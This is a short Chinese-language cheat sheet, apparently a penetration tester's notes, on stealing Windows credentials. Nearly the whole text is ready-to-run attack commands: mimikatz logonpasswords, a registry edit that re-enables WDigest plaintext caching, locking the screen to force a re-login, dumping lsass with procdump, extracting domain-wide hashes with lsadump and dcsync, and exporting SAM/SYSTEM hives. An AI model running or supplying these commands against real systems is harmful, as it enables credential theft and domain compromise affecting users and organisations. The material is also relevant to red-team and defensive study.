mimikatz

本地执行

  1. privilege::debug //提升权限
  2. sekurlsa::logonpasswords //抓取密码

在windows2012和win8之后,或打了kb2871997的主机不能直接获取明文密码

WDigest

是lsass的一种ssp程序,主要用于win2003的ldap和基于web的身份验证。利用http和简单身份验证安全层(SA SL)进行身份验证
但这个认证机制会在内存中以加密形式保存win密码[sekurlsa::logonpasswords]

打了补丁以后就默认关闭了,但也不一定关闭,因为某些系统服务会用到wdigest认证,这不是绝对的

绕过

WDigest服务虽然关闭,但是可以通过操作对应的注册表来开启他

  1. HKLM\SYSTEM\CurrentControlSet\Contorl\SecurityProviders\Wdigest

打了补丁或2008之后的主机会多一个UseLogonCredential项
当该项的值为1则记录明文密码,0则为不记录明文密码

  1. 记录明文密码
  2. reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
  1. 不记录明文密码
  2. reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
  1. 修改为注册表后,我们需要用户进行登录才能抓到明文密码
  2. 可以进行锁屏操作强制他登录
  3. rundll32.exe user32.dll LockWorkStation


···#######111得到的

Procdump [dump lsass进程工具即可]+Mimikatz

  1. procdump64.exe -accepteula -ma lsass.exe lsass.dmp
  2. mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

读取域控中域成员Hash

使用mimikatz读取域控上所有域用户的hash

  1. #提升权限
  2. privilege::debug
  3. 抓取密码
  4. lsadump::lsa /patch



域管理员权限
通过 dcsync,利用目录复制服务(DRS)从NTDS.DIT文件中检索密码哈希值,可以在域管权限下执行获取

  1. #获取所有域用户
  2. lsadump::dcsync /domain:test.com /all /csv
  3. #指定获取某个用户的hash
  4. lsadump::dcsync /domain:test.com /user:test

SAM表获取hash

  1. #导出SAM数据
  2. reg save HKLM\SYSTEM SYSTEM
  3. reg save HKLM\SAM SAM
  4. #使用mimikatz提取hash
  5. lsadump::sam /sam:SAM /system:SYSTEM

或者可以读取rdp连接记录